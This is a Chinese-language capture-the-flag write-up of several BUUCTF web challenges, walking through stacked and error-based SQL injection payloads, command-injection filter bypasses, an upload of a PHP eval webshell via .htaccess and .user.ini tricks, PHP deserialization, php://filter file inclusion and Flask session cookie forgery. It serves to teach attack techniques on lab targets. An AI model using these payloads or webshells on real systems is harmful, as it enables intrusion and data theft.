buuctf靶场wp

web各个方面选择了一些题目进行学习,感觉还是得第一次就应该看通彻,不应该留有问题,能够明白原理和代码中哪出造成这个的原因,反复嚼剩饭感觉浪费时间

Web

1.[强网杯 2019]随便注

1)题目描述

2)wp

因为之前没有了解过堆叠注入,这里挨个分析学习

先来确定sql注入

1
1'

image-20220701113045499

然后试试显示所有数据,感觉看不到什么意思,后面一步步分析

1
1' or 1=1;#

image-20220702105520465

然后判断字段

image-20220701113210998

image-20220701113228972

判断处字段数为2

然后用联合注入

image-20220701113604165

发现select被正则匹配过滤了,用大小写绕过也不行,所以只能换一种方法

可以先了解堆叠注入的概念和注入方式

堆叠注入

先查看所有的数据库

注:这里仍然要查询数据为假,比如-1,不然就不会执行后面的sql语句

;间隔sql语句

1
-1';show databases;#

image-20220701224154901

根据题目名字,先调用supersqli这个库的表看看

1
-1';use supersqli;show tables;#

image-20220701222551203

看到有两个表,先看一下纯数字的表里的内容

注:当纯数字字符串是表名的时候需要加反引号`

1
-1';use supersqli;show columns from`1919810931114514`;#

image-20220701224603433

看到flag在里面,再看看words里

1
-1';use supersqli;show columns from words;#

image-20220701233450179

VARCHAR(M)是一种比CHAR更加灵活的数据类型,同样用于表示字符数据,但是VARCHAR可以保存可变长度的字符串

这里猜测,因为flag是字符串,所以猜测输入框查询的就是words表

后台sql语句可能(xx为输入框的内容)

select id,data from words where id=xx


更改表名列名

1,通过 rename 先把 words 表改名为其他的表名。

2,把 1919810931114514 表的名字改为 words 。

3 ,将修改后的 words 表中flag列名改成列名 id ,这样只需进行正常查询就会按上面猜测后台sql语句一样显示出flag

1
-1';rename table `words` to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100);show tables;#

show tables主要看看改成功没有,这里改表名要有顺序,如果先改数字表,那就出现两个words表,导致语句不能执行,所以需要先改words表名为其他名字,然后修改数字表为words;避免因为名字而发生命令冲突

image-20220702220112706

可以看到表1919810931114514名字被改成了可查询表words

再看看words表的列,flag变成了id,NO变成了YES

image-20220702220308651

因为flag为id了,用1' or 1=1;#恒真测试使其回显

看看回显数据

image-20220702221617795

得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
SQlrename
用于重命名表名


SQLalter用法总结

1:删除列

ALTER TABLE 表名 DROP COLUMN 列名

2:增加列

ALTER TABLE 表名 ADD COLUMN 列名 属性 【约束】

3:修改列的类型信息

ALTER TABLE 表名 CHANGE COLUMN 列名 【新】列名
新属性
4:重命名列

ALTER TABLE 表名字 CHANGE COLUMN 列名 新列名 属性

5:重命名表

ALTER TABLE 表名 RENAME TO 表新名

6:删除表中主键

Alter TABLE 表名 DROP primary key

7:添加主键

ALTER TABLE 表名 ADD CONSTRAINT 约束名 PRIMARY KEY (添加列)

8:添加索引

ALTER TABLE 表名 ADD index 索引名 (列名);

9:修改列的属性
ALTER TABLE 表名 MODIFY COLUMN 要修改属性的列名 新属性;

一般情况下,不推荐在建表后对表进行大幅度修改,大幅度修改极有可能使表数据丢失。

看了其他大佬的wp,这里补充两种方法

原文链接

解题思路2:预处理绕过select限制

因为select被过滤了,所以先将

1
select * from ` 1919810931114514 `

进行16进制编码

再通过构造payload得

1
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

进而得到flag

prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

image-20230503173612612

解题思路3:handler绕过

payload:

1
1'; handler `1919810931114514` open as `a`; handler `a` read next;#

image-20230503173624567

handler基本用法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。

通过索引去查看的话可以按照一定的顺序,获取表中的数据。
通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。

通过索引列指定一个值,可以指定从哪一行开始。
通过HANDLER tbl_name READ index_name = value,指定从哪一行开始,通过NEXT继续浏览。

句柄:【相当于一个指针,这里是指向数据库里的表】

实例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
3.1 创建测试表及测试数据

create table handler_table(
c1 int,
c2 varchar(10),
c3 int(10)
);
insert into handler_table values(2, 'name2', 002);
insert into handler_table values(5, 'name5', 005);
insert into handler_table values(1, 'name1', 001);
insert into handler_table values(4, 'name4', 004);
insert into handler_table values(3, 'name3', 003);

3.2 不通过索引打开查看表

打开句柄:【相当于一个指针】

mysql> handler handler_table open;

查看表数据:

mysql> handler handler_table read first;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 2 | name2 | 2 |
+------+-------+------+
mysql> handler handler_table read next;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 5 | name5 | 5 |
+------+-------+------+
mysql> handler handler_table read next;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 1 | name1 | 1 |
+------+-------+------+
mysql> handler handler_table read next;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 4 | name4 | 4 |
+------+-------+------+
mysql> handler handler_table read next;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 3 | name3 | 3 |
+------+-------+------+
mysql> handler handler_table read next;
Empty set (0.00 sec)


关闭句柄:

mysql> handler handler_table close;
Query OK, 0 rows affected (0.00 sec)

3.3 通过索引打开查看表(FIRST,NEXT,PREV,LAST)
通过索引查看的话,可以按照索引的升序,从小到大,查看表信息。

创建索引:

mysql> create index handler_index on handler_table(c1);

打开句柄:

mysql> handler handler_table open as p;

查看表数据:

mysql> handler p read handler_index first;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 1 | name1 | 1 |
+------+-------+------+
mysql> handler p read handler_index next;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 2 | name2 | 2 |
+------+-------+------+
mysql> handler p read handler_index next;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 3 | name3 | 3 |
+------+-------+------+
mysql> handler p read handler_index next;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 4 | name4 | 4 |
+------+-------+------+
mysql> handler p read handler_index next;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 5 | name5 | 5 |
+------+-------+------+
mysql> handler p read handler_index prev;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 4 | name4 | 4 |
+------+-------+------+
mysql> handler p read handler_index last;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 5 | name5 | 5 |
+------+-------+------+



关闭句柄:

mysql> handler p close;

3.4 通过索引打开查看表(=,<=,>=,<,>)
从index为2的地方开始

打开句柄:

mysql> handler handler_table open as p;

查看表数据:

mysql> handler p read handler_index = (2);
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 2 | name2 | 2 |
+------+-------+------+
mysql> handler p read handler_index next;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 3 | name3 | 3 |
+------+-------+------+
mysql> handler p read handler_index next;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 4 | name4 | 4 |
+------+-------+------+
mysql> handler p read handler_index next;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 5 | name5 | 5 |
+------+-------+------+
mysql> handler p read handler_index last;
+------+-------+------+
| c1 | c2 | c3 |
+------+-------+------+
| 5 | name5 | 5 |
+------+-------+------+

关闭句柄:

mysql> handler p close;

3.5 附加:语法实例参考

handler handler_table open;
handler handler_table open as p;
handler handler_table read first;
handler handler_table read next;
handler handler_table read first limit 3;
handler handler_table read next limit 3,3;
handler handler_table read first where c1 > 2 limit 2;
handler handler_table read next where c1 >2 limit 1,2;

create index handler_index on handler_table(c1);
handler handler_table open;
handler handler_table read handler_index first;
handler handler_table read handler_index next limit 3;
handler handler_table read handler_index PREV limit 3,3;
handler handler_table read handler_index LAST where c1 > 2 limit 2;
handler handler_table read handler_index LAST where c1 > 2 limit 1,2;
handler handler_table read handler_index = (3);
handler handler_table read handler_index <= (3) limit 2;
handler handler_table read handler_index >= (3) limit 1,2;
handler handler_table read handler_index < (4) where c1 > 0 limit 2;
handler handler_table read handler_index > (1) where c1 < 6 limit 2,2;
handler handler_table close;
drop index handler_index on handler_table;

这里看懂以后,我自己又重新构造了一个

1
1'; handler `1919810931114514` open;handler `1919810931114514` read first;

效果一样,意思也差不多

image-20220731224702281

2.[GXYCTF2019]Ping Ping Ping

1)题目描述

2)wp

看名字应该是道命令执行的题目

先传一个IP:123.123.123.123试试

?ip=123.123.123.123

image-20220706231831194

看起来是Linux命令,先显示所有文件试试(;是顺序执行,从左往右,命令全部执行)

?ip=123.123.123.123;ls

image-20220706232001574

看到flag文件,看看能不能直接读出

image-20220706232135596

发现,空格被过滤了,我试试了很多绕过,比如%0a,%20,%09,<>,但是回显都是

?ip=123.123.123.123;cat%0aflag.php

image-20220706233818795

意思是符号都过滤了

这里引入我一个新学的空格代替符$IFS$9,这是个shell中定义的环境变量,在此处可以绕过过滤

$IFS$9($IFS是Unix系统的一个预设变量表示分隔符,$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串)

试试

?ip=123.123.123.123;cat$IFS$9flag.php

image-20220706234926216

发现flag也被过滤了,那就只好先看看index.php文件,试试能不能看到其代码

?ip=123.123.123.123;cat$IFS$9index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/?ip=
<pre>/?ip=
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

?>

看到ip有很多正则匹配的字符,所以没有那么容易绕过

1
2
3
4
5
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
shell_exec(string $cmd): string
exec 是 Shell 内置命令,它有两种用法,一种是执行 Shell 命令,一种是操作文件描述符
ping -c Count 指定要被发送(或接收)的回送信号请求的数目,由 Count 变量指出
--(所以这里我们只能输入四个字符)--
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
print_r函数用于打印变量,以更容易理解的形式展示

例子
<?php
$a = array ('a' => 'apple', 'b' => 'banana', 'c' => array ('x','y','z'));
print_r ($a);
?>
输出结果
Array
(
[a] => apple
[b] => banana
[c] => Array
(
[0] => x
[1] => y
[2] => z
)

)

flag过滤语句的意思判断是否按顺序出现flag

1
else if(preg_match("/.*f.*l.*a.*g.*/", $ip))

所以只要ip里的flag出现不按顺序就行,也就是flag另一种方式表示

我们看源码知道有两个变量,一个是$ip,$a

ip变量无法改变,变量a可以尝试赋值flag试试能不能绕过正则匹配,但是如果是a=flag,就会顺序出现flag,匹配,所以试试a=g,flag–>fla$a

?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php

查看源码

得到flag

3.[MRCTF2020]你传你🐎呢

1)题目描述

2)wp

看标题知道这是一个文件上传的题目,要求上传一个木马

image-20220710111959632

打开先看到一个尸体在在笑,我们先试试能不能直接上传php文件

image-20220710112344441

看来不行,那在试试能不能抓包修改前端文件后缀名,看看是不是前端验证,把php改成png,在抓包修改后缀为php

image-20220710112344441

还是一样,还有一个猜想就是MIME验证,对content-type进行了检查,可以试试使用bp抓包,修改上传的PHP的content-type为image/png,但是还是一样的

image-20220710112344441

于是,可以用.htaccess实现图片马以php文件形式读取(如果不了解可以把.htaccess文件了解一下,把线下靶场upload-labs做一下)

但是上传时,又被过滤了

image-20220710112344441

尝试修改文件名为.htaccess.png,然后用bp抓包修改回.htaccess,上传成功

image-20220710114410888

image-20220710114422488

然后上传图片木马

image-20220710114444539

把路径复制一下

http://424ad9a4-20e6-4394-8150-06fc204ba3e0.node4.buuoj.cn:81/upload/9d0fb395a11b49196f664cfa8fe0200a/1.png

image-20220710114617412

蚁剑连接成功

image-20220710114647722

在根目录发现flag

得到flag

4.[RoarCTF 2019]Easy Calc

1)题目描述

2)wp

还是得看大佬得wp才会

原文链接

这是calc.php的内容,查看源码就可以看到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

error_reporting(0);

if(!isset($_GET['num'])){

show_source(__FILE__);

}else{

$str = $_GET['num'];

$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];

foreach ($blacklist as $blackitem) {

if (preg_match('/' . $blackitem . '/m', $str)) {

die("what are you want to do?");

}

}

eval('echo '.$str.';');

}

?>

waf主要就是看有没有非数字存在,绕过waf就好操作了


1.1PHP的字符串解析特性

这是别人对PHP字符串解析漏洞的理解,
我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。

例如:/?foo=bar变成Array([foo] => “bar”)。

值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。

例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。

如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:

1
/news.php?%20news[id%00=42"+AND+1=0–

上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。

PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:

1.删除空白符

2.将某些字符转换为下划线(包括空格)

我的理解:
假如waf不允许num变量传递字母:

http://www.xxx.com/index.php?num = aaaa   //显示非法输入的话

那么我们可以在num前加个空格:

http://www.xxx.com/index.php? num = aaaa

这样waf就找不到num这个变量了,因为现在的变量叫“(空格)num”,而不是“num”。

但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。


var_dump()

1
列举数组内容

scandir() 的使用:

1
2
3
scandir(directory,sorting_order,context);

返回指定目录中的文件和目录的数组,就是显示文件夹名字

file_get_contents() 的使用:

原型:file_get_contents(path,include_path,context,start,max_length)
file_get_contents() 函数把整个文件读入一个字符串中。
和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。
file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。
就是显示文件内容

chr(47)是/的ASCII编码;【/就是根目录,可以先访问一下根目录,找找大概flag在哪里】

chr(102)是f的ASCII编码;

chr(49)是1的ASCII编码;

chr(97)是a的ASCII编码;

chr(103)是g的ASCII编码。

【字符间用.连接,如flag->chr(102).chr(49).chr(97).chr(103)

根据php解析字符串的特性

先试试返回看看根目录(/)下的文件有哪些

http://node4.buuoj.cn:29105/calc.php?num=var_dump(scandir(chr(47)))

image-20220819232248275

看到有个flagg

返回看看/flagg里的内容

http://node4.buuoj.cn:29105/calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

image-20220819234552921

5.[极客大挑战 2019]HardSQL

1)题目描述

2)wp

看名字,猜测这个sql注入过滤很严

image-20220821144626428

先试试fuzz测试,看看过滤了哪些,发现union被过滤,所以不能用联合注入

image-20220821144002573

但是发现updatexml没有被过滤,所以可以试试报错注入

image-20220821145036408

先构造payload

1
2
?username=1&password=1'or updatexml(1,concat(0x7e,database(),0x7e),1)%23
【这里+被过滤了,所以这里用#】

结果发现结果又被过滤了,后面用fuzz又测试了一下,发现空格也被过滤了,用%0a和其他符号也不能替换,所以只能试试()把结果框起来试试能不能绕过

1
?username=1&password=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23

得到数据库名

image-20220821172827984

后面就是差不多了,但是要注意不能用空格,要用()框住对象

1
2
?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))%23
【这里的=也被过滤了,所以用like替换】

得到表名

image-20220821173920231

1
?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23

得到列名

image-20220821174239954

然后看看列里数据找找flag

1
?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))%23

看回显知道flag在password里,但为什么显示不全,是因为updatexml报错回显的数据限制最多32位,所以无法显示全flag

image-20220821174509553

所以可以用left和right函数进行分段显示,本来想用stustr函数,但是发现也被过滤了

1
?username=1&password=1'or(updatexml(1,concat(0x7e,(select(left(password,30))from(H4rDsq1)),0x7e),1))%23

为什么这里left函数显示30个字符,因为0x7e也就是也是字符,已经占了两位,所以还可以显示30位

image-20220821220007687

1
?username=1&password=1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23

image-20220821220041922

因为是左右显示30位,所以flag内容有重叠,整理一下

得到flag

1
flag{034eb054-83b5-412c-b90e-afc72c6ce998}

6.[网鼎杯 2020 青龙组]AreUSerialz1

1)题目描述

2)wp

一道典型的序列化题目

先对代码进行分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}
1
2
3
4
5
6
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

__construct()函数没有用,不参与序列化中

1
2
3
4
5
6
7
8
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
//ord() 函数返回字符串中第一个字符的 ASCII 值。
// ASCII值32为2,ASCII值125为%

这个函数主要是过滤掉protect类的成员,在序列化的时候是以%00作为标识符

1
*但是在PHP版本大于7.1的情况下,protect类和public类没什么好注意的,所以在构造序列化时改为public可以绕过is_valid函数
1
2
3
4
5
6
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

__destruc()函数主要是不让op==="2",但是在process函数里op又要为“2”

1
2
3
4
5
6
7
8
9
10
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

所以这里利用强弱类型比较,__destruc()函数里op是不能为2,但是是强类型比较,是字符2【”2”】,所以op=2【数字2】,就绕过达到读取flag.php的结果

于是构造出php序列化

1
2
3
4
5
6
7
8
9
10
<?php
class FileHandler {
public $op=2;
public $filename="flag.php";
public $content;
}

$a = new FileHandler();
echo serialize($a);
?>

得到序列化结果

1
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

访问,F12查看【或者改一下filename的值为php://filter伪协议,用base64,可以直接看到】

http://f20b2545-8ff3-4a33-887f-27f4901db96a.node4.buuoj.cn:81/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

得到flag

image-20220822135717175

7.[HCTF 2018]admin

1)题目描述

2)wp

这道题开始当作弱密码题解,结果直接爆破出来了

用户名:admin

密码:123

这样应该最简单的方法了

但我看了看其他大佬wp,他们把这个当作flask_session伪造的题目

学习一下

先注册一个试试

用户名:admin123

密码:123456

image-20220822203857056

只在change password的源码看到线索,知道是flask框架

image-20220822203848108

访问下载文件

flask存在一个session伪造漏洞

1
2
3
4
5
flask的session保存在客户端,一般只是加了签名来防止被截取修改,但是如果没有加密我们就可以对session进行解码来获取其中的用户数据。 

如果我们在获取到签名的秘钥,就可以按照解码出来的数据进行伪造,重新生成签名的session来达到欺骗服务端。

flask的session使用base64对bytes类型的用户数据进行编码,而且编码之前可能进行了压缩(session以 "." 开头时表示进行了压缩) flask 保存在cookie里面的session一般格式为 data.timestamp.signature

这里的session没有加密,在config.py中得到了签名秘钥ckj123,于是我们就可以重新生成session,来欺骗服务器

image-20220822204409898

利用cookie editor查看session值

image-20220822231718091

然后再找发现index.html下有flag提示

image-20220823000533344

简单分析一下,就是让session里的name==”admin”

所以这里就需要修改一下我们得到的session

这里建议了解一下一个工具flask-session-cookie-manager-master能对其进行加密解码【可能需要pip下一些模块,百度可以解决】

1
2
3
4
5
6
解密
python flask_session_cookie_manager3.py decode -s “cxk123” -c “你在change页面的session值”
加密
python flask_session_cookie_manager3.py encode -s “cxk123” -t “按照得到解密结果格式改的结果”


image-20220822235758750

1
2
3
4
5
{'_fresh': False, '_id': b'b83a7c28f514d37ed353fb8dd5a8febd8703c5b8b2d40b5354872c13dd4314cccf9116d2dcd65987e5f08b2d6cffdf72cb7660baeb7d5e76f3ac2465a956f03f', 'csrf_token': b'c975b35234b704019c94accb0ff54e774dcaae68', 'image': b'cxf4', 'name': 'admin123', 'user_id': '10'}

把我们的用户名改为admin

{'_fresh': False, '_id': b'b83a7c28f514d37ed353fb8dd5a8febd8703c5b8b2d40b5354872c13dd4314cccf9116d2dcd65987e5f08b2d6cffdf72cb7660baeb7d5e76f3ac2465a956f03f', 'csrf_token': b'c975b35234b704019c94accb0ff54e774dcaae68', 'image': b'cxf4', 'name': 'admin', 'user_id': '10'}

然后再加密

image-20220823000020825

然后cookie editor修改为我们加密结果

1
.eJxFUMtug0AM_JXK5xx4tBekHCKRIiqtEWgJ8l4iGkjAy1IJWlE2yr93m1bKwQd7xvbMXOF4ntq5g-hcD3O7gWPfQHSFp3eIgPhiSTYsuDMo956KRaiq3KJEQ9xpFR-6LFEDmfwZ7c6SPfRZkq4qzhfi0vF-528sJDpuboUsmAI0mdx_o8lXlaBGLl-yuBmwouVvV7EySis-rRSkITItZF4H4kZjVYbus6VKrBiTT1L7rl9EQFu4beA0T-fj54dux4cFq0OsUifFVZKGwkkTcuBMFp2T0otEOWvFgPbkOTkdVWWQ7bb3c72pL-3jUuhC-EfG2jgA6sb0I2zga26ne27ge3D7AeD4b34.YwOoDA.quyfjg-Miz9Y5cx6i5hTVr0EWjE

image-20220823000303547

得到flag

8.[ZJCTF 2019]NiZhuanSiWei

1)题目描述

2)wp

先分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

第一个

1
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")//r为读取权限

file_get_contents()函数是将文件内容读取到变量,而这里是从变量读取,读取text变量的值,这里需要text变量为welcome to the zjctf

但是因为可能存在对变量的正则匹配,过滤,一般是用base64绕过

这里就可以利用两个伪协议,php://input和data://,这两个一个是读取post数据,一个是读取get数据,这里用data://协议

1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

当然这里不用base64也可以

1
?text=data://text/plain;welcome to the zjctf

第二个

1
include($file);  //useless.php

一个文件包含,尝试用php://filter读取useless.php

1
&file=php://filter/read=conver.base64-encode/resource=useless.php

至于password,猜测应该是在useless.php里才有线索,先赋值1看看

于是先构造一个payload

1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php&password=1

得到useless.php内容

image-20220823175723137

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo

解码后

<?php

class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

再看看password变量

1
2
$password = unserialize($password);
echo $password;

这里用了反序列化,所以password就是序列化后的值

利用useless.php构造序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php  

class Flag{
public $file="flag.php" ;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password = new Flag();
echo serialize($password);
?>

运行后

1
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  

最后payload

1
2
3
4
5
6
7
8
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

//仔细一下会注意到这里的file的值中,伪协议删除了,
这是因为开始默认都是index.php,但是index.php没有Flag类,
如果想执行反序列化,那就需要包含Flag类,也就是这里的useless.php里的
所以这里删除file里的伪协议,只留useless.php的文件名
就是利用 include($file);
把useless.php包含在index.php里,从而可以成功执行反序列化,得到flag

得到flag

9.[SUCTF 2019]CheckIn

1)题目描述

2)wp

先上传一个文本文件试试

image-20220825173012665

1
exif_imagetype是判断一个图像的类型的进程。

所以只能上传图片

先上传一个包含PHP木马的图片马试试

image-20220825174837632

看来是过滤了<?,所以除了php,其他的asp,aspx,jsp,js都可以绕过

这里以js举例

创建一个js文件,内容为

1
<script language="php">@eval($_POST["cmd"]);</script>

在和一个普通图片合成,也可以加个文件头GIF89a

图片马名为haha.gif

然后上传

image-20220825210858681

由于不是php木马,所以无法用.htaccess文件绕过

这里就需要用.user.ini配置文件,当然使用前提是.user.ini文件下有php文件,不然也不能包含了

推荐看一下这篇文章

在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。

这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。

其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。

1
2
3
auto_append_file、auto_prepend_file:指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 

使用方法很简单,直接写在.user.ini中:

所以这里设置自动包含的文件为haha.gif

于是.user.ini内容为

1
2
GIF89a       //绕过图片判断         
auto_prepend_file=haha.gif

上传.user.ini

image-20220825214029074

